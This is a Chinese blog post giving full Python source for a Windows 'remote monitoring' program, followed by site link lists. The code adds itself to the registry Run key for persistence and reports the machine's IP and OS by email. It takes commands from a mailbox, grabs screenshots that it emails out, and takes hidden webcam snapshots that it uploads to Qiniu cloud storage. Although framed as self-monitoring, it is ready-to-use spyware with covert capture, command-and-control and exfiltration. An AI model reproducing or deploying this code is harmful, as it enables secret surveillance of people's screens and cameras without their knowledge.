python操作摄像头截图实现远程监控的例子


Posted in Python onMarch 25, 2014

最近用python写了一个远程监控的程序,主要功能有:
1.用邮件控制所以功能
2.可以对屏幕截图,屏幕截图发送到邮箱
3.可以用摄像头获取图片,这些图片上传到七牛
4.开机自启动

#
#coding by loster
#
import win32api
import win32con
import platform
import socket
import time
import os
import smtplib
import poplib
from VideoCapture import Device
from email.mime.multipart import MIMEMultipart  
from email.mime.text import MIMEText  
from email.mime.image import MIMEImage
import poplib,email
from email.header import decode_header
from PIL import ImageGrab
import qiniu.conf
import qiniu.io
import qiniu.rs
#去七牛申请
qiniu.conf.ACCESS_KEY = ""
qiniu.conf.SECRET_KEY = ""
#获取ip
def getIP():
    ip=socket.gethostbyname(socket.gethostname())
    return ip
#获取操作系统版本、
def getSystemVersion():
    return platform.platform()
def send_Information(ip,system_version):
    info='ip:'+ip+'  '+'system version:'+system_version
    print info
    smtp=smtplib.SMTP()
    smtp.connect('smtp.sina.com')
    smtp.login('sender@sina.com','***') #改成自己的邮箱和密码
    smtp.sendmail('sender@sina.com','reveicer@qq.com',ip+' '+system_version)#把接收邮箱改成自己另外一个邮箱
#截图,图片名为截图时间
def screen_capture():
    #获取截图时间
    pic_time=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    #pic_name='screen_capture'+time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    pic_name='screen'+pic_time+'.jpg'
    pic = ImageGrab.grab()
    pic.save('%s' % pic_name)
    print pic_name
    #发送图片
    send_Img(pic_time,pic_name)
    print pic_name
    os.remove(pic_name)#删除图片
#发送截图图片到邮箱
def send_Img(pic_time,pic_name):
    msgRoot = MIMEMultipart('related')  
    msgRoot['Subject'] = pic_time
    msgText = MIMEText('<b>capture</b> <br><img src="cid:image1">','html','utf-8')  
    msgRoot.attach(msgText)  
    #fp = open('F:\\1.jpg', 'rb')
    fp = open(pic_name, 'rb')  
    msgImage = MIMEImage(fp.read())  
    fp.close()  
    msgImage.add_header('Content-ID', '<image1>')  
    msgRoot.attach(msgImage)  
    smtp = smtplib.SMTP()  
    smtp.connect('smtp.sina.com','25')  
    smtp.login("sender@sina.com","*****") 
    smtp.sendmail("sender@sina.com","receiver@qq.com", msgRoot.as_string())  
    smtp.quit()
    print 'send success'
#摄像头截图,每隔SLEEP_TIME秒截取一张
def camera_capture():
    #抓取频率
    SLEEP_TIME=3
    i=0
    cam=Device(devnum=0, showVideoWindow=0)
    while i<10:
        cam_time=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
        cam_name='camera'+cam_time+'.jpg'
        cam.saveSnapshot(cam_name,3,1,'bl')
        camera_upload(cam_name)
        print str(i)+cam_name
        os.remove(cam_name)
        time.sleep(SLEEP_TIME)
        i+=1
 #上传到七牛      
def camera_upload(file):
    policy = qiniu.rs.PutPolicy('iloster') #空间名,iloster是我的空间名
    uptoken = policy.token()
    ret, err = qiniu.io.put_file(uptoken, None, file)
    if err is not None:
        sys.stderr.write('error: %s ' % err)
#获取最新邮件
def accept_mail():
    pop=poplib.POP3_SSL('pop.qq.com')
    pop.user('receiver@qq.com')
    pop.pass_('*****')
    #获取邮件数目
    (num,totalSize)=pop.stat()
    #获取最新的邮件
    (heard,msg,octets)=pop.retr(num)
    mail=email.message_from_string("\n".join(msg))
    subject=email.Header.decode_header(mail['subject'])[0][0] #标题
    pop.quit()
    return subject
#获得程序的路径
def getPath():
    path=os.getcwd()+'\Remote.exe'  #最后打包的exe程序名必须为Remote.exe,或者把这里改一下
    print path
    return path
#添加开机自启动,在注册表里注册
def add_start(path):
    subkey='SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
    key=win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,subkey,0,win32con.KEY_ALL_ACCESS)
    #print win32api.RegQueryValueEx(key,'python')
    win32api.RegSetValueEx(key,'python',0,win32con.REG_SZ,path)
    print win32api.RegQueryValueEx(key,'python')
if __name__=='__main__':
    add_start(getPath()) #添加开机自启动
    send_Information(getIP(),getSystemVersion())
    while 1: #不断的监听
        if accept_mail()=='screen': #当获取的邮件主题为screen时,截取屏幕信息
            screen_capture()
        elif accept_mail()=='camera':
            camera_capture()       

注意:
1.我的发送邮箱是sina邮箱,接收邮箱是qq邮箱,这样做是因为微信可以绑定qq邮箱。
2.accept_mail()监听的邮箱是自己的接收邮箱,就是我用的qq邮箱
3.当监听到screen时,开始屏幕截图并发送到邮箱,由于监听的是最新的邮件,当图片发送带邮箱时,获取的邮件主题不是screen了,应该会停止截图,最后只会截取一张图片,继续保持监听状态。但实际由于网络的原因,发送的邮件会有延迟,所以,实际截取的图片会有很多张
4.当监听到camera时,会用摄像头截图,如果把while i<10,改成i=1,会让摄像头一直截图,并使其他命令失效,所以我i<10,就是每获取一次命令,截图10张

Python 相关文章推荐
python计算程序开始到程序结束的运行时间和程序运行的CPU时间
Nov 28 Python
Python中几个比较常见的名词解释
Jul 04 Python
Python提取网页中超链接的方法
Sep 18 Python
Python实现字符串反转的常用方法分析【4种方法】
Sep 30 Python
pandas删除指定行详解
Apr 04 Python
详解python数据结构和算法
Apr 18 Python
Python 自动登录淘宝并保存登录信息的方法
Sep 04 Python
使用 Supervisor 监控 Python3 进程方式
Dec 05 Python
python实现12306登录并保存cookie的方法示例
Dec 17 Python
Python warning警告出现的原因及忽略方法
Jan 31 Python
520使用Python实现“我爱你”表白
May 20 Python
python PyAUtoGUI库实现自动化控制鼠标键盘
Sep 09 Python
python基础教程之字典操作详解
Mar 25 #Python
python基础教程之元组操作使用详解
Mar 25 #Python
python基础教程之简单入门说明(变量和控制语言使用方法)
Mar 25 #Python
python使用循环实现批量创建文件夹示例
Mar 25 #Python
python实现图片批量剪切示例
Mar 25 #Python
使用python实现strcmp函数功能示例
Mar 25 #Python
python读写ini文件示例(python读写文件)
Mar 25 #Python
You might like
一个从别的网站抓取信息的例子(域名查询)
2006/10/09 PHP
PHP实现动态获取函数参数的方法示例
2018/04/02 PHP
PHP自定义函数实现assign()数组分配到模板及extract()变量分配到模板功能示例
2018/05/23 PHP
JavaScript去掉数组中的重复元素
2011/01/13 Javascript
js查错流程归纳
2012/05/04 Javascript
创建、调用JavaScript对象的方法集锦
2014/12/24 Javascript
微信jssdk用法汇总
2016/07/16 Javascript
JavaScript实现横线提示输入验证码随输入验证码输入消失的方法
2016/09/24 Javascript
利用js来实现缩略语列表、文献来源链接和快捷键列表
2016/12/16 Javascript
深入理解React高阶组件
2017/09/28 Javascript
利用Vconsole和Fillder进行移动端抓包调试方法
2019/03/05 Javascript
vue按需加载实例详解
2019/09/06 Javascript
[04:16]DOTA2英雄梦之声_第09期_斧王
2014/06/21 DOTA
对Python中range()函数和list的比较
2018/04/19 Python
python自动查询12306余票并发送邮箱提醒脚本
2018/05/21 Python
用python编写第一个IDA插件的实例
2018/05/29 Python
Python基于sklearn库的分类算法简单应用示例
2018/07/09 Python
python暴力解压rar加密文件过程详解
2019/07/05 Python
浅谈Python_Openpyxl使用(最全总结)
2019/09/05 Python
Python 用三行代码提取PDF表格数据
2019/10/13 Python
python中使用you-get库批量在线下载bilibili视频的教程
2020/03/10 Python
python爬虫beautifulsoup库使用操作教程全解(python爬虫基础入门)
2021/02/19 Python
html5实现多文件的上传示例代码
2014/02/13 HTML / CSS
墨尔本最受欢迎的复古风格品牌:Princess Highway
2018/12/21 全球购物
包装类的功能、种类、常用方法
2012/01/27 面试题
请写出char *p与"零值"比较的if语句
2014/09/24 面试题
大学生农村教师实习自我鉴定
2013/09/21 职场文书
大学生入党思想汇报
2014/01/01 职场文书
开展党的群众路线教育实践活动领导班子对照检查材料
2014/09/25 职场文书
雷锋电影观后感
2015/06/10 职场文书
企业法人任命书
2015/09/21 职场文书
公司员工违法违章行为检讨书
2019/06/24 职场文书
浅谈spring boot使用thymeleaf版本的问题
2021/08/04 Java/Android
用 Python 定义 Schema 并生成 Parquet 文件详情
2021/09/25 Python
基于Pygame实现简单的贪吃蛇游戏
2021/12/06 Python
SpringBoot中使用Redis作为全局锁示例过程
2022/03/24 Java/Android